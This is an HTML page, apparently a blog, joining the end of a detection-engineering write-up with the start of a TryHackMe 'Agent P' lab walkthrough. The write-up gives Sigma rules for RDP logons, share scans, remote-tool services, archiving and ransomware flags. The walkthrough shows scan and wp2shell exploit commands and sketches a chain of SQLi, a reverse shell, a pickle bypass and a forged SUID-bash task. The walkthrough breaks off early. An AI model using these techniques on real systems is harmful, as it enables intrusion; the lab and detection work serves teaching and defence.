&lt;strong&gt;Prefer the least-spoofable field for both selection and exclusion.&lt;/strong&gt; &lt;code&gt;OriginalFileName&lt;/code&gt; (embedded PE metadata) beat &lt;code&gt;Image&lt;/code&gt; (process path) and install-path-only filters every time an attacker could plausibly rename or relocate a binary.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Don't trust automatic backslash/escaping behavior blindly&lt;/strong&gt; - when a Sigma modifier's generated SPL doesn't behave as expected, reproduce the pipeline's exact generated query directly in the SIEM to see real matching events before respecifying syntax blindly.&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  Appendix - Final files to paste
&lt;/h2&gt;

&lt;p&gt;Complete final YAML for each rule, ready to paste into Files changed, with a one-line FIX summary after each. Flags redacted.&lt;/p&gt;

&lt;h3&gt;
  
  
  PR #1 - &lt;code&gt;rules/rdp_untrusted_source_logon.yml&lt;/code&gt;
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;title&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;External RDP Logon From an Untrusted Source Grants Administrative Access&lt;/span&gt;
&lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;fc14f8ac-c4d3-4071-b717-c2b85dc463d2&lt;/span&gt;
&lt;span class="na"&gt;status&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;experimental&lt;/span&gt;
&lt;span class="na"&gt;description&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Detects an interactive RDP logon on any host in the estate from a source outside Cascadia's known internal, VPN, and vendor routines, consistent with POWDER WOLF's initial access tradecraft.&lt;/span&gt;
&lt;span class="na"&gt;author&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;morgan-reyes&lt;/span&gt;
&lt;span class="na"&gt;logsource&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;product&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;windows&lt;/span&gt;
  &lt;span class="na"&gt;service&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;security&lt;/span&gt;
&lt;span class="na"&gt;detection&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;selection&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;EventID&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;4624&lt;/span&gt;
    &lt;span class="na"&gt;LogonType&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
&lt;span class="err"&gt; &lt;/span&gt;&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;10'&lt;/span&gt;
 &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;7'&lt;/span&gt;
  &lt;span class="na"&gt;filter_internal_hop&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;IpAddress|startswith&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;10.40.'&lt;/span&gt;
  &lt;span class="na"&gt;filter_vpn_authorized_staff&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;IpAddress|startswith&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;10.90.'&lt;/span&gt;
    &lt;span class="na"&gt;TargetUserName&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
 &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;r.doyle'&lt;/span&gt;
 &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;k.nakamura'&lt;/span&gt;
 &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;p.okonkwo'&lt;/span&gt;
  &lt;span class="na"&gt;filter_summitdesk_msp&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;IpAddress|startswith&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;198.51.100.'&lt;/span&gt;
    &lt;span class="na"&gt;TargetUserName&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;svc_summitdesk_support'&lt;/span&gt;
  &lt;span class="na"&gt;condition&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;selection and not (filter_internal_hop or filter_vpn_authorized_staff or filter_summitdesk_msp)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;FIX:&lt;/strong&gt; Replaced the inverted allowlist (excluded the attacker's own IP block instead of Cascadia's legitimate ranges) with real exclusions from &lt;code&gt;environment-routines.md&lt;/code&gt;. Added LogonType 7 (Unlock) alongside 10 to catch session-resume bypass.&lt;/p&gt;

&lt;h3&gt;
  
  
  PR #2 - &lt;code&gt;rules/netscan_share_writetest.yml&lt;/code&gt;
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;title&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;NetScan Enumerates Writable Administrative Shares via a Delete.me Access Test&lt;/span&gt;
&lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;9ab1b326-e9e3-4b6b-b4c2-81857d774b0b&lt;/span&gt;
&lt;span class="na"&gt;status&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;experimental&lt;/span&gt;
&lt;span class="na"&gt;description&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Detects file share object access checks referencing a delete.me marker file, consistent with a network scanning tool testing write access across every discovered administrative share, part of POWDER WOLF's discovery phase following initial access.&lt;/span&gt;
&lt;span class="na"&gt;author&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;morgan-reyes&lt;/span&gt;
&lt;span class="na"&gt;logsource&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;product&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;windows&lt;/span&gt;
  &lt;span class="na"&gt;service&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;security&lt;/span&gt;
&lt;span class="na"&gt;detection&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;selection&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;EventID&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;5145&lt;/span&gt;
    &lt;span class="na"&gt;RelativeTargetName|endswith&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;delete.me'&lt;/span&gt;
  &lt;span class="na"&gt;condition&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;selection&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;FIX:&lt;/strong&gt; Corrected field from &lt;code&gt;ShareName&lt;/code&gt; (the share path) to &lt;code&gt;RelativeTargetName&lt;/code&gt; (the actual object accessed). No exclusion filter needed.&lt;/p&gt;

&lt;h3&gt;
  
  
  PR #3 - &lt;code&gt;rules/remote_access_service_persistence.yml&lt;/code&gt;
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;title&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Remote Access Tool Installed as a Service on Server Infrastructure&lt;/span&gt;
&lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;6e4f2418-b99a-4df2-868f-fe4086055996&lt;/span&gt;
&lt;span class="na"&gt;status&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;experimental&lt;/span&gt;
&lt;span class="na"&gt;description&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Detects a remote access application installed as a Windows service on server tier infrastructure, where Cascadia's own helpdesk only ever deploys these tools on end user workstations, consistent with POWDER WOLF's persistence tradecraft on the domain controller.&lt;/span&gt;
&lt;span class="na"&gt;author&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;morgan-reyes&lt;/span&gt;
&lt;span class="na"&gt;logsource&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;product&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;windows&lt;/span&gt;
  &lt;span class="na"&gt;service&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;security&lt;/span&gt;
&lt;span class="na"&gt;detection&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;selection&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;EventID&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;7045&lt;/span&gt;
    &lt;span class="na"&gt;ServiceFileName|contains&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
&lt;span class="err"&gt; &lt;/span&gt;&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;AnyDesk.exe'&lt;/span&gt;
 &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;ScreenConnect'&lt;/span&gt;
 &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;TeamViewer'&lt;/span&gt;
  &lt;span class="na"&gt;filter_workstation_class&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;ComputerName|startswith&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
 &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;SNW-PC'&lt;/span&gt;
 &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;ALD-PC'&lt;/span&gt;
 &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;TBL-PC'&lt;/span&gt;
  &lt;span class="na"&gt;condition&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;selection and not filter_workstation_class&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;FIX:&lt;/strong&gt; Switched from process-creation &lt;code&gt;Image&lt;/code&gt; to the real service-install event (EventID 7045) and &lt;code&gt;ServiceFileName|contains&lt;/code&gt; (not &lt;code&gt;endswith&lt;/code&gt;, due to a trailing &lt;code&gt;--service&lt;/code&gt; flag). Added workstation-class exclusion and expanded beyond AnyDesk to ScreenConnect/TeamViewer.&lt;/p&gt;

&lt;h3&gt;
  
  
  PR #4 - &lt;code&gt;rules/sevenzip_share_archive_collection.yml&lt;/code&gt;
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;title&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Archiving Tool Compresses Data Directly From a Live Network Share&lt;/span&gt;
&lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;2a3f3da0-0725-4ef1-a857-05fcf21b0f8c&lt;/span&gt;
&lt;span class="na"&gt;status&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;experimental&lt;/span&gt;
&lt;span class="na"&gt;description&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Detects an archiving operation (7-Zip, WinRAR, or PowerShell's Compress-Archive) whose command line references a share path on server tier infrastructure directly, rather than local user documents, consistent with POWDER WOLF's collection staging ahead of exfiltration.&lt;/span&gt;
&lt;span class="na"&gt;author&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;morgan-reyes&lt;/span&gt;
&lt;span class="na"&gt;logsource&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;product&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;windows&lt;/span&gt;
  &lt;span class="na"&gt;category&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;process_creation&lt;/span&gt;
&lt;span class="na"&gt;detection&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;selection_archiver_tools&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;OriginalFileName&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
&lt;span class="err"&gt; &lt;/span&gt;&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;7z.exe'&lt;/span&gt;
 &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;7zFM.exe'&lt;/span&gt;
 &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;7zG.exe'&lt;/span&gt;
 &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;WinRAR.exe'&lt;/span&gt;
 &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Rar.exe'&lt;/span&gt;
    &lt;span class="na"&gt;CommandLine|contains&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
 &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;FS-RESV01\'&lt;/span&gt;
 &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;BKP-CSRC01\'&lt;/span&gt;
 &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;DC-CSRC01\'&lt;/span&gt;
 &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;DC-CSRC02\'&lt;/span&gt;
 &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;DC-CSRC03\'&lt;/span&gt;
 &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;HV-CSRC01\'&lt;/span&gt;
  &lt;span class="na"&gt;selection_ps_tool&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;Image|endswith&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;\powershell.exe'&lt;/span&gt;
    &lt;span class="na"&gt;CommandLine|contains&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Compress-Archive'&lt;/span&gt;
  &lt;span class="na"&gt;selection_ps_share&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;CommandLine|contains&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
 &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;FS-RESV01\'&lt;/span&gt;
 &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;BKP-CSRC01\'&lt;/span&gt;
 &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;DC-CSRC01\'&lt;/span&gt;
 &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;DC-CSRC02\'&lt;/span&gt;
 &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;DC-CSRC03\'&lt;/span&gt;
 &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;HV-CSRC01\'&lt;/span&gt;
  &lt;span class="na"&gt;filter_monthly_export&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;ParentImage|endswith&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;\wscript.exe'&lt;/span&gt;
    &lt;span class="na"&gt;CommandLine|contains&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;ReservationsExport_'&lt;/span&gt;
  &lt;span class="na"&gt;condition&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;(selection_archiver_tools or (selection_ps_tool and selection_ps_share)) and not filter_monthly_export&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;FIX:&lt;/strong&gt; Replaced the meaningless &lt;code&gt;-p&lt;/code&gt; flag check with server-hostname substring matching (double-backslash UNC matching proved unreliable in the converter). Added &lt;code&gt;OriginalFileName&lt;/code&gt; matching (defeats renaming), WinRAR/Rar, and PowerShell's &lt;code&gt;Compress-Archive&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  PR #5 - &lt;code&gt;rules/lynx_ransomware_deployment.yml&lt;/code&gt;
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;title&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Lynx Ransomware Payload Executed With Distinctive Encryption Flags&lt;/span&gt;
&lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;fef37376-5b9b-4ada-b67b-2ce4d9177323&lt;/span&gt;
&lt;span class="na"&gt;status&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;experimental&lt;/span&gt;
&lt;span class="na"&gt;description&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Detects execution of a payload using the Lynx ransomware's distinctive command line flags controlling target drive, encryption speed, and verbosity, consistent with POWDER WOLF's fleet wide deployment staging.&lt;/span&gt;
&lt;span class="na"&gt;author&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;morgan-reyes&lt;/span&gt;
&lt;span class="na"&gt;logsource&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;product&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;windows&lt;/span&gt;
  &lt;span class="na"&gt;category&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;process_creation&lt;/span&gt;
&lt;span class="na"&gt;detection&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;selection&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;CommandLine|contains|all&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
&lt;span class="err"&gt; &lt;/span&gt;&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;--dir'&lt;/span&gt;
 &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;--mode&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;fast'&lt;/span&gt;
  &lt;span class="na"&gt;filter_diskoptimizer&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;OriginalFileName&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;DiskOptimizer.exe'&lt;/span&gt;
  &lt;span class="na"&gt;condition&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;selection and not filter_diskoptimizer&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;FIX:&lt;/strong&gt; Corrected &lt;code&gt;ParentImage&lt;/code&gt; (was &lt;code&gt;services.exe&lt;/code&gt;, real value is &lt;code&gt;cmd.exe&lt;/code&gt;). Dropped the filename anchor (&lt;code&gt;\w.exe&lt;/code&gt;) entirely so a renamed/relocated payload can't skip the filter stage; keyed &lt;code&gt;selection&lt;/code&gt; purely on the distinctive flags and excluded the legitimate tool using only its embedded &lt;code&gt;OriginalFileName&lt;/code&gt;.&lt;/p&gt;




&lt;p&gt;&lt;a id="agent-p"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  TryHackMe - Agent P
&lt;/h1&gt;

&lt;h2&gt;
  
  
  Summary
&lt;/h2&gt;

&lt;p&gt;Agent P is a multi-stage Linux box themed around Doofenshmirtz Evil Incorporated. The&lt;br&gt;
intended path chains four distinct vulnerability classes across four user contexts. An&lt;br&gt;
unauthenticated WordPress REST API batch-route confusion SQLi (CVE-2026-63030) on a&lt;br&gt;
WordPress 6.9 install creates a pre-auth administrator account, which is then abused&lt;br&gt;
via the Theme File Editor to land a reverse shell as &lt;code&gt;www-data&lt;/code&gt;. A custom&lt;br&gt;
infrastructure accounts table in the WordPress database leaks SSH credentials for&lt;br&gt;
&lt;code&gt;norm&lt;/code&gt;, whose &lt;code&gt;evilinc&lt;/code&gt; group membership allows reading a panel config file containing&lt;br&gt;
an operator secret. That secret authenticates to an internal Flask app on port 8700&lt;br&gt;
whose pickle deserialization endpoint is protected by a restricted unpickler - bypassed&lt;br&gt;
using &lt;code&gt;pydoc.locate&lt;/code&gt; to reach &lt;code&gt;os.system&lt;/code&gt; without touching any blocked module name.&lt;br&gt;
This yields a shell as &lt;code&gt;vanessa&lt;/code&gt;, who has write access to the C2 implant's task socket.&lt;br&gt;
The implant authenticates tasks via HMAC-SHA256, where the signing key is derived from&lt;br&gt;
an XOR-obfuscated 32-byte seed (decrypted using the LCPRNG keystream hardcoded in&lt;br&gt;
&lt;code&gt;.rodata&lt;/code&gt;) combined with the system's &lt;code&gt;machine-id&lt;/code&gt;. Reverse-engineering the key&lt;br&gt;
derivation and forging a valid &lt;code&gt;exec|chmod u+s /bin/bash&lt;/code&gt; task grants SUID bash and&lt;br&gt;
root access.&lt;/p&gt;
&lt;h2&gt;
  
  
  Flags
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Flag&lt;/th&gt;
&lt;th&gt;Location&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;User 1 (norm)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/home/norm/user.txt&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;User 2 (vanessa / operator)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/home/vanessa/operator.txt&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Root&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/root/root.txt&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;
&lt;h2&gt;
  
  
  Recon
&lt;/h2&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;nmap -A -Pn &amp;lt;MACHINE-IP&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-o&lt;/span&gt; nmap
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.18
80/tcp open  http    Apache httpd 2.4.58 ((Ubuntu))
|_http-generator: WordPress 6.9
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Two ports only. WordPress 6.9 on port 80 - immediately interesting since 6.9 is&lt;br&gt;
flagged as insecure by wpscan.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;wpscan --url http://&amp;lt;MACHINE-IP&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;--api-token&lt;/span&gt; &amp;lt;TOKEN&amp;gt; &lt;span class="nt"&gt;-e&lt;/span&gt; vp,vt,u
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Key findings from wpscan:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;WordPress 6.9 (insecure)&lt;/li&gt;
&lt;li&gt;CVE-2026-63030: REST API batch-route confusion and SQLi to RCE (fixed in 6.9.5)&lt;/li&gt;
&lt;li&gt;CVE-2026-60137: Facilitated SQLi (fixed in 6.9.5)&lt;/li&gt;
&lt;li&gt;Upload directory listing enabled&lt;/li&gt;
&lt;li&gt;XML-RPC enabled&lt;/li&gt;
&lt;li&gt;One user identified: &lt;code&gt;heinz&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Initial Access - WordPress CVE-2026-63030 (REST Batch SQLi to Admin Creation)
&lt;/h2&gt;

&lt;p&gt;WordPress 6.9 is vulnerable to a REST API batch-route path confusion bug that allows&lt;br&gt;
unauthenticated SQL injection via a crafted multi-route batch request. The&lt;br&gt;
&lt;a href="https://github.com/Icex0/wp2shell-poc" rel="noopener noreferrer"&gt;wp2shell PoC&lt;/a&gt; automates this into a&lt;br&gt;
pre-auth admin-creation-to-RCE chain.&lt;/p&gt;

&lt;p&gt;Confirming the target is vulnerable:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;python3 wp2shell.py check http://&amp;lt;MACHINE-IP&amp;gt;&lt;/span&gt;/wp-trackback.php
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[*] WordPress markers found (wp-json)
[*] Batch probe -&amp;gt; HTTP 207; markers matched: parse_path_failed, block_cannot_read, rest_batch_not_allowed
[+] VULNERABLE - batch route-confusion behavior detected.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Launching the interactive shell mode to trigger the pre-auth admin creation chain:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;python3 wp2shell.py shell http://&amp;lt;MACHINE-IP&amp;gt;&lt;/span&gt;/ &lt;span class="nt"&gt;-i&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[!] No credentials supplied; attempting pre-auth administrator creation.
